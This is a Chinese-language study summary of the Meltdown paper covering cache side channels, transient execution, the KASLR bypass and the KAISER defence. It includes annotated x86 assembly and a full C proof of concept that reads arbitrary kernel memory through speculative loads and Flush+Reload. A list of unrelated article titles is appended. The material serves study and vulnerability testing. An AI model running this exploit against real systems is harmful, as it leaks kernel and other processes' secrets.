Meltdown: Reading Kernel Memory from User Space

  1. 摘要:

    • 计算机系统的安全性从根本上依赖于内存隔离,通过标记地址是否可用,隔离用户地址空间和内核地址空间
    • 熔断利用现代处理器上的乱序执行产生的一些微架构上的副作用,能够读取任意的内存空间
    • 熔断独立于OS,并且不依赖于软件漏洞,直接破坏了地址空间隔离和半虚拟化环境提供的所有安全保证,所有在此基础上的安全机制也都被破坏
    • 论文证明了KAISER建立的防御机制能够阻碍熔断
  2. 介绍:

    • 现代处理器中,内核进程和用户进程之间的隔离通常使用一个supervision bit来实现,通过该位来决定是否可以访问内核的地址空间。当进入内核代码是,该位设置为1,表示可以访问内核数据,在切换到用户进程时,则清除该位。在这种方式中,内核空间可以被简单的映射到每个进程的地址空间,同时在模式切换(用户到内核)时,内存的映射方式并不会改变
    • 熔断是一种新的攻击方式,提供了一种简单的方式,允许用户进程读取机器的整个内核内存,包括映射到内核区域的所有物理内存,直接打破了内存隔离。攻击有效的根本原因就是乱序执行带来的副作用
    • 引发安全的一个根本现象:乱序执行的CPU允许非特权进程将数据从特权地址数据加载到CPU的寄存器,同时允许该寄存器的值被进一步的使用,例如作为索引访问数组。尽管CPU最终发现发生这次数据访问的指令不该被执行,但是这期间执行指令的某些影响却没有被完全消除
    • 论文发现乱序执行过程中的存储查找会影响cache的状态,并且不会被回退,因此可以利用这种状态改变实现cache的侧信道攻击
    • 整体攻击过程的描述:攻击者通过在乱序执行流中读取特权内存数据,并通过微体系结构的隐蔽信道(cache的flush+reload)将数据传输到外界。在接收端,重构寄存器的值。从而实现转存整个内核空间的数据
    • KAISER最初是为了防止针对KASLR的侧信道攻击而开发的,但是也能够保护系统避免熔断攻击
  3. 地址空间

    • 每个进程有自己的虚拟地址空间,也只能访问自己空间内的数据。每个虚拟地址空间被分为一个用户和一个内核部分。

    • CPU只能够在特权模式运行的情况下,才能够访问内核地址空间。(在转换表中的user-accessible属性可以实现这个功能)

    • 内核地址空间不仅有内核自己使用的内存映射,而且还需要对用户页面进行操作,例如使用数据填充用户页面,因此整个物理内存通常会被映射到内核地址空间中。

    • 在linux和OS X中,该映射为直接映射。Windows通过维护多个分页池(可以映射)、非分页池(常驻内存)、系统缓存等结构来管理内核空间,虽然没有直接将所有物理内存映射到内核空间,内核空间中仍会包含物理内存的很大一部分内容。

  4. cache攻击

    • 主要利用cache在访问时(hit/miss)的时间差异来进行攻击。
    • 攻击手段:evict+time,prime+probe,flush+reload
    • Flush+reload攻击的粒度是cache line,主要利用LLC的共享性。攻击者使用clflush指令频繁的刷新目标内存位置(所有cache层次都被清除)。通过测量重新加载数据所需要的时间,判断数据是否同时被另一个进程加载到缓存中。
  5. 一个简单的示例:

    • 理论上,代码中的access行为永远都不会执行,由于异常处理,但是乱序执行可能会已经执行了访问数据的执行,因为它不存在对异常的依赖
    • access指令尽管在异常发生后会进行回退,但是cache的状态这个时候可能就已经发生了变化,之后就可以利用cache的侧信道攻击,得到data的实际信息
    • 当数据data乘以4096,则访问的数据将会分散到整个数组中,距离为4KB,此时数据到内存页的映射即为单射。此时如果页内的cache line如果被cached,则数据的具体值将可以得到。此时预取程序由于不能够跨越页面边界访问数据,所以此时不会出现预取的影响
    //该异常为用户程序访问内核空间的地址,取到的数据将会是data
    raise_exception();
    //the line below is never reached
    access(probe_array[data*4096]);
    
  6. x86平台上的熔断实现的核心指令序列

    ;rcx=kernel address
    ;rbx=probe array
    retry:;读取内核数据,利用CPU的乱序执行特性,在非法内存访问和异常发生之间的短暂空挡中执行指令mov al,byte [rcx];data*4KB,进行散列映射shl rax,0xc;重试逻辑:如果读取0,重试(防止噪声偏差)jz retry;传递内核数据mov rbx,qword [rbx+rax]
    
  7. 熔断的组成

    • 第一部分:让CPU执行尽可能多的在正常情况下不会发生的指令,这些指令称为暂态指令,即正常情况下是不会执行的指令,也不会留下体系结构可见的信息,但是一些微结构信息却会被改变

      • 暂态指令需要使用或者依赖于攻击者想要获取的隐私数据

      • 当访问某些隐私数据(例如内核数据)时,会触发异常,异常通常会终止程序,因此需要处理异常

      • 第一种解决异常的方法:异常处理,在执行暂态指令序列之后捕获异常

        1. 一个简单的方法:在攻击程序访问终止进程的无效内存位置之前,对进程进行克隆,然后只访问子进程中的无效内存位置。子进程执行访问任务,父进程进行观察

        2. 安装一个信号处理程序,如果发生某些异常,使用这个信号处理程序执行,从而防止应用程序崩溃

      • 第二种:异常抑制,在暂态指令执行后完全阻止异常的发生

        1. 阻止异常抛出,事务性内存允许将内存访问分组到一个看似原子操作的集合中,如果中间发生异常,则会重置体系结构状态,程序执行将继续,不会被中断

        2. 将需要执行的代码放在分支指令之后,尽管分支指令会跳转到其它位置,但是它仍旧可以使用其它办法,让其提前执行,同时不会出现异常

    • 第二部分:将暂态指令序列(包含暂态指令的序列)的微架构变换转移到体系结构可见的状态,以进一步处理泄露的信息,主要使用隐蔽信道。

      • 隐蔽信道的接收端接受微架构状态变化,并且从中获取敏感数据
      • 接受端可以是不同的线程,甚至是不同的进程,例如使用fork-and-crash方法中的父进程(异常处理方法的一种)
      • 使用基于cache的Flush+reload,构建快速,低噪的隐蔽信道
      • 隐蔽信道不仅限于cache的微结构状态,任何可以被指令影响并且可以通过侧信道观察到的微结构状态都可以用来构建隐蔽信道的发送端,例如发送方可以发出一条指令(序列),占用某个执行端口(例如ALU)来发送一位,接收方通过执行同类型的指令,检查执行速度,如果为高延迟意味者为1,否则为0
  8. 熔断(meltdown)

    • 攻击设置:假定系统完全受基于软件的防御措施(ASLR/KASLR)和CPU特性(SMAP,SMEP,NX,PXN)保护,OS没有任何bug。攻击者可以使用普通用户的权限运行任何代码,同时不需要对机器进行物理访问
    • NX(Non-Executable Memory), SMAP(Supervisor Mode Access Prevention), SMEP(Supervisor Mode Execution Prevention), PXN(Privilege Execute Never), PAN(Privileged Access Never)
    • 攻击描述:
      • 第一步:加载攻击者选择的内存位置的数据(本来无法访问的地址)到寄存器中。Meltdown利用的是非法的存储访问到引起异常之间的时间(异常会被推迟到提交时解决),通过乱序执行暂态指令获取数据。(预取内核地址,可以提高meltdown的准确率)
      • 第二步:基于之前寄存器的暂态指令,利用寄存器的数据作为索引访问某一个cache line。一次读取一个字节,并且在使用寄存器数据作为索引时,将其先乘以4K,以防止硬件预取器将相邻的内存位置加载的cache中。为了提高这一步的执行时间(上一步预留的时间不多),可以将探针数组的地址转换缓存在TLB中
      • 第三步:攻击者使用flush+reload的方式,判断哪一个cache line被之前的暂态指令访问,从而获得隐私数据。遍历探针数组的所有256页(4K间隔),测量每次访问的时间
  9. Meltdown实现过程中的限制和优化

    • 固有偏差为0(load之后的寄存器值为0)

      • 熔断在实现过程中发现非法的内存访问结果通常返回0。造成原因可能是load指令被权限检查失败而掩盖或者是load被阻塞,推测该寄存器的值为0,提前执行
      • 这种load结果为0的现象是由于乱序执行中的竞争导致的,在不同的机器,硬件和软件配置上都会出现不同的为0概率
      • 为了提高攻击精度,需要在实现时执行一定数量的重试,最大的重试次数将是优化有攻击性能和错误率的参数
      • 优化:在暂态指令中增加判断当前寄存器的值,如果发现寄存器的值为0,则跳转到load指令,重新执行直到读取的值不为零或者是暂态指令无法执行了
    • single-bit传输
      • 一次传输8bits,意味着需要执行256次Flush+reload,以恢复结果。因此在运行更多的暂态指令和执行更多的flush+reload之间存在一个权衡。论文发现在暂态指令序列中附加指令的数据对攻击性能的影响可以忽略不计。
      • 如果每次只传输一个bit,则可以大大的降低在flush+reload上的测量时间。通过判断cache line1是否命中,来判断传输的是1还是0。缺点在于meltdown固有的会使得结果偏向于0
    • 使用Intel TSX实现异常抑制
      • TSX,一个硬件上的事务内存实现
      • 使用TSX,将多个指令分组到一个事务中,要么全部执行,要么全不执行,如果其中某一条指令失败,则还原已经执行的指令,但是不会引发异常
      • 使用TSX,任何异常都会被抑制,同时微结构状态依旧会被改变。异常抑制会比异常处理执行更快
    • 解决KASLR(kernel address space layout randomization)
      • 2013年,KASLR被进入linux内核,允许在引导时,随机化内核代码的位置。在这种情况下,直接物理映射是随机的,并不是固定在某个特定的地址,因此攻击者需要直到这个偏指值。但是随机化被限制在40位
      • 假设目标机器内存8GB(33位),由于KASLR只有40位,因此只需要128个(7位)测试地址就可以找到整个内存的实际地址,因此KASLR仍旧无法最终保护内存
  10. 熔断的评估

  • linux从2.6.32到4.13.0在没有KAISER的补丁都会被meltdown攻破。在更新KAISER补丁之后将可以抵御攻击
  • windows尽管和linux使用了不同的映射方式,但是在一个进程的地址空间里,仍旧包括了大部分的物理内存的内容。需要注意windows中并不是每个进程都包含一样的映射,即同一个物理页面并不会映射到所有的进程空间中
  • Android:成功的在三星的arm核中安装了熔断
  • 容器:大多数容器解决方案的共性是每个容器使用相同的内核,即内核在所有容器间是共享的,因此每个容器通过共享内核,能够获取到整个物理内存的直接物理映射。熔断在容器中也可以实现
  • 当数据不在L1 cache中时,仍旧可以通过meltdown获取到,只不过读取速率较低
  • 当数据被标记为不可访问时,也可以利用熔断获取到
  1. 应对meltdown的措施

    • 串行化数据的权限检查和数据访问
    • 硬性划分用户空间和内核空间。在CPU控制寄存器中增加一个新的硬分隔位来隔离用户空间和内核空间。通过这种方式,内存地址可以立即识别出目标是否违反安全边界
  2. KAISER

    • KAISER不会将任何内核存储映射到用户空间中,除了x86体系结构所需的某些部分(例如中断处理程序),因此熔断无法泄露任何内核或者物理内存,除了少数必须映射到用户空间的数据
    • 如果KAISER和KASLR同时可用,则剩下需要映射到用户空间的数据由于太小了,在随机化之后使用穷举的方法将不再奏效
#define _GNU_SOURCE#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <ucontext.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sched.h>#include <x86intrin.h>
//github上有介绍
#include "rdtscp.h"//#define DEBUG 1
#if !(defined(__x86_64__) || defined(__i386__))
# error "Only x86-64 and i386 are supported at the moment"
#endif
#define TARGET_OFFSET   12
#define TARGET_SIZE (1 << TARGET_OFFSET)
#define BITS_READ   8
#define VARIANTS_READ   (1 << BITS_READ)//size = 256*4096 = 1M
static char target_array[VARIANTS_READ * TARGET_SIZE];//从cache中清除每个页面中的一个地址,4K*i
void clflush_target(void)
{int i;//VARIANTS_READ 256for (i = 0; i < VARIANTS_READ; i++)//target_size = 4K 一个页面的大小_mm_clflush(&target_array[i * TARGET_SIZE]);
}extern char stopspeculate[];static void __attribute__((noinline))
speculate(unsigned long addr)
{//"__asm__"表示后面的代码为内嵌汇编,asm为别名    //"__volatile__"表示编译器不要优化代码,volatile为别名
#ifdef __x86_64__asm volatile ("1:\n\t"//.rept和.endr都是汇编伪指令,times是一个数字,表示code这段代码要重复执行的次数// 在嵌入汇编语句寄存器名称前就必须写上两个百分号“%%”//重复三百次的执行,并没有任何其它的含义,可以忽略".rept 300\n\t""add $0x141, %%rax\n\t"".endr\n\t"//movzx无符号扩展,并传送//取到指定的内存地址的数据,如果是内核地址空间的,会产生异常,但是异常信号已经被重新设置//尽管异常会中断执行,但是由于推测式执行,这条指令产生的行为可能已经使得cache的状态被改变//即之后的movzx已经开始被执行"movzx (%[addr]), %%eax\n\t"//shl是逻辑左移指令//将内存地址对应的数据,左移12位,即乘以4K,换成页面的大小,以防止预取策略,提前//将之后的数据取到"shl $12, %%rax\n\t"//当零标志为1时,跳转到1的地方//重试逻辑,论文中有介绍"jz 1b\n\t"//将移位之后的内存数据做为索引,访问target_array数据的对应位置//之后检测cache中哪一个array中的位置的数据hit,则可得到内存数据//displacement(base,index,scale)"movzx (%[target], %%rax, 1), %%rbx\n""stopspeculate: \n\t""nop\n\t"://"r" 将输入变量放入通用寄存器,也就是eax,ebx,ecx,edx,esi,edi中的一个: [target] "r" (target_array),[addr] "r" (addr): "rax", "rbx");#else /* ifdef __x86_64__ */asm volatile ("1:\n\t"".rept 300\n\t""add $0x141, %%eax\n\t"".endr\n\t""movzx (%[addr]), %%eax\n\t""shl $12, %%eax\n\t""jz 1b\n\t""movzx (%[target], %%eax, 1), %%ebx\n""stopspeculate: \n\t""nop\n\t":: [target] "r" (target_array),[addr] "r" (addr): "rax", "rbx");
#endif
}
static int cache_hit_threshold;
//VARIANTS_READ 256//初始化hist数据,用于纪录256个位置hit/miss的信息
static int hist[VARIANTS_READ];
//访问array数组中,前256个4K位置处的数据是否加载到cache中
//根据access_time判断是否发生hit
//mix_i的范围仍旧是0-255,但是相对于使用i直接索引,根据有随机性,防止被预测到
void check(void)
{int i, time, mix_i;volatile char *addr;//VARIANTS_READ 256for (i = 0; i < VARIANTS_READ; i++) {//防止被预测到mix_i = ((i * 167) + 13) & 255;//TARGET_SIZE=4Kaddr = &target_array[mix_i * TARGET_SIZE];time = get_access_time(addr);if (time <= cache_hit_threshold)hist[mix_i]++;}
}
//更改处理器的异常信息的处理
void sigsegv(int sig, siginfo_t *siginfo, void *context)
{ucontext_t *ucontext = context;#ifdef __x86_64__ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate;
#elseucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate;
#endifreturn;
}int set_signal(void)
{struct sigaction act = {.sa_sigaction = sigsegv,.sa_flags = SA_SIGINFO,};return sigaction(SIGSEGV, &act, NULL);
}#define CYCLES 1000
//读取内存地址
int readbyte(int fd, unsigned long addr)
{int i, ret = 0, max = -1, maxi = -1;static char buf[256];//初始化hist为零,用于每次重新统计memset(hist, 0, sizeof(hist));for (i = 0; i < CYCLES; i++) {ret = pread(fd, buf, sizeof(buf), 0);if (ret < 0) {perror("pread");break;}//从cache中清除array每个页面中的第一个地址,4K*iclflush_target();//等待这些清除操作真实被执行结束_mm_mfence();//执行推测指令(汇编指令)speculate(addr);//统计cache中array的hit/miss信息check();}#ifdef DEBUG//VARIANTS_READ 256for (i = 0; i < VARIANTS_READ; i++)if (hist[i] > 0)printf("addr %lx hist[%x] = %d\n", addr, i, hist[i]);
#endif//VARIANTS_READ 256//根据hist的结果,找到hit次数最多的位置,此时索引即为内存中的数据for (i = 1; i < VARIANTS_READ; i++) {if (!isprint(i))continue;if (hist[i] && hist[i] > max) {max = hist[i];maxi = i;}}return maxi;
}static char *progname;
int usage(void)
{printf("%s: [hexaddr] [size]\n", progname);return 2;
}static int mysqrt(long val)
{int root = val / 2, prevroot = 0, i = 0;while (prevroot != root && i++ < 100) {prevroot = root;root = (val / root + root) / 2;}return root;
}#define ESTIMATE_CYCLES    1000000
static void set_cache_hit_threshold(void)
{long cached, uncached, i;if (0) {cache_hit_threshold = 80;return;}for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)cached += get_access_time(target_array);for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)cached += get_access_time(target_array);for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {_mm_clflush(target_array);uncached += get_access_time(target_array);}cached /= ESTIMATE_CYCLES;uncached /= ESTIMATE_CYCLES;cache_hit_threshold = mysqrt(cached * uncached);printf("cached = %ld, uncached = %ld, threshold %d\n",cached, uncached, cache_hit_threshold);
}static int min(int a, int b)
{return a < b ? a : b;
}//线程绑定CPU核
static void pin_cpu0()
{cpu_set_t mask;/* PIN to CPU0 */CPU_ZERO(&mask);CPU_SET(0, &mask);sched_setaffinity(0, sizeof(cpu_set_t), &mask);
}int main(int argc, char *argv[])
{int ret, fd, i, score, is_vulnerable;unsigned long addr, size;static char expected[] = "%s version %s";progname = argv[0];if (argc < 3)return usage();if (sscanf(argv[1], "%lx", &addr) != 1)return usage();if (sscanf(argv[2], "%lx", &size) != 1)return usage();memset(target_array, 1, sizeof(target_array));ret = set_signal();//线程绑定CPU核pin_cpu0();//统计得到较为精确的cache命中时间和缺失时间set_cache_hit_threshold();fd = open("/proc/version", O_RDONLY);if (fd < 0) {perror("open");return -1;}for (score = 0, i = 0; i < size; i++) {//addr为用户输入的内存地址(目前暂定为物理地址)ret = readbyte(fd, addr);if (ret == -1)ret = 0xff;printf("read %lx = %x %c (score=%d/%d)\n",addr, ret, isprint(ret) ? ret : ' ',ret != 0xff ? hist[ret] : 0,CYCLES);if (i < sizeof(expected) &&ret == expected[i])score++;addr++;}close(fd);is_vulnerable = score > min(size, sizeof(expected)) / 2;if (is_vulnerable)fprintf(stderr, "VULNERABLE\n");elsefprintf(stderr, "NOT VULNERABLE\n");exit(is_vulnerable);
}

Meltdown Reading Kernel Memory from User Space相关推荐

  1. Meltdown:Reading Kernel Memory from User Space 论文中英对照

    Meltdown:Reading Kernel Memory from User Space 翻译目录 摘要(Abstract) 一.简介(Introduction) 二.背景介绍(Backgroun ...

  2. Meltdown: Reading Kernel Memory from User Space论文翻译

    Meltdown: Reading Kernel Memory from User Space翻译 摘要(Abstract) The security of computer systems fund ...

  3. 《LINUX KERNEL MEMORY BARRIERS》

    <LINUX KERNEL MEMORY BARRIERS> 原文地址:https://www.kernel.org/doc/Documentation/memory-barriers.t ...

  4. Kernel Memory Layout on ARM Linux

    这是内核自带的文档,讲解ARM芯片的内存是如何布局的!比较简单,对于初学者可以看一下!但要想深入理解Linux内存管理,建议还是找几本好书看看,如深入理解Linux虚拟内存,嵌入系统分析,Linux内 ...

  5. linux kernel的virtual kernel memory layout介绍(aarch64)

    相关文件: memory.h pgtable.h fixmap.h page.h 1.重要的配置 我们就以VA_BITS=48,PAGE_SIZE=4k来介绍 (1).(VA_BITS) (arch/ ...

  6. 开发一款抓取Android系统Log的APP(logcat, kernel, Memory, cpu)

    近期项目需要一款抓取系统log的实用工具,具体的内容包括kernel中的log, cpu中的log,  memory 中的log, 以及system中的log,在Android4.1之后 认为应用读取 ...

  7. k8s集群节点无法创建pod解决:错误提示(Docker error : “/sys/fs/cgroup/memory/xxxx“ “no space left on device“)

    前言 最近部门的k8s 集群为了扩展,增加了两个节点,结果用了一段时间后莫名出现了以下问题,新增的这两个节点上无法创建pod 从rancher发现事件报错信息如下: 问题排查步骤 第一步: 报错信息说 ...

  8. java out of memory heap_报错:out of memory java heap space

    PermGen space的全称是Permanent Generation space,是指内存的永久保存区域OutOfMemoryError: PermGen space从表面上看就是内存益出,解决 ...

  9. #Reading Paper# Profiling the Design Space for Graph Neural Networks based Collaborative Filtering

    #论文题目:Profiling the Design Space for Graph Neural Networks based Collaborative Filtering(基于协同过滤的图神经网 ...

  10. Reading privileged memory with a side-channel

    https://googleprojectzero.blogspot.jp/2018/01/reading-privileged-memory-with-side.html https://devel ...

最新文章

  1. IntelliJ IDEA乱码问题解决方法
  2. Java生鲜电商平台-生鲜供应链(采购管理)
  3. FileOutputSteam入门
  4. 运算符的优先级和结合性
  5. 2019手机号码正则表达式
  6. 'React' must be in scope when using JSX react/react-in-jsx-scope报错:
  7. linux源码头文件_您必须在2020年尝试的十大最佳Linux码头
  8. Java学习之json篇——json介绍
  9. 聊聊我是如何编程入门的
  10. access做仓库管理
  11. linux 将ext2变成ext4文件系统
  12. Ambari安装和汉化(转)
  13. Android内存泄漏检测工具大全
  14. directadmin(DirectAdmin Extended)
  15. Python使用标准库zipfile+re提取docx文档中超链接文本和链接地址
  16. 海康摄像机在Win10系统的Web浏览器中无法在线预览解决办法
  17. Java线程状态中BLOCKED和WAITING有什么区别?
  18. 对于人生道路的些许感慨
  19. Spring Security Oauth2 认证流程
  20. 前端开发:Vue报错Computed property “show“ was assigned to but it has no setter的解决方法

热门文章

  1. 离谱!诺奖得主被曝40多篇论文造假!还涉及国内高校学者!
  2. NRF52832学习笔记(34)——倾角传感器SCL3300使用
  3. 评论系统--开发总结
  4. 滴滴全线业务优化,芭比Q 了?
  5. linux操作系统课程内容,《linux操作系统及应用》课程标准
  6. Executors一篇就够
  7. 网银支付接口编程资料汇总
  8. python第一周心得
  9. 新浪微博热门话题(30 分)(字符串)
  10. 汇编指令——bic(位清除)、orr(位或)、eor (异或)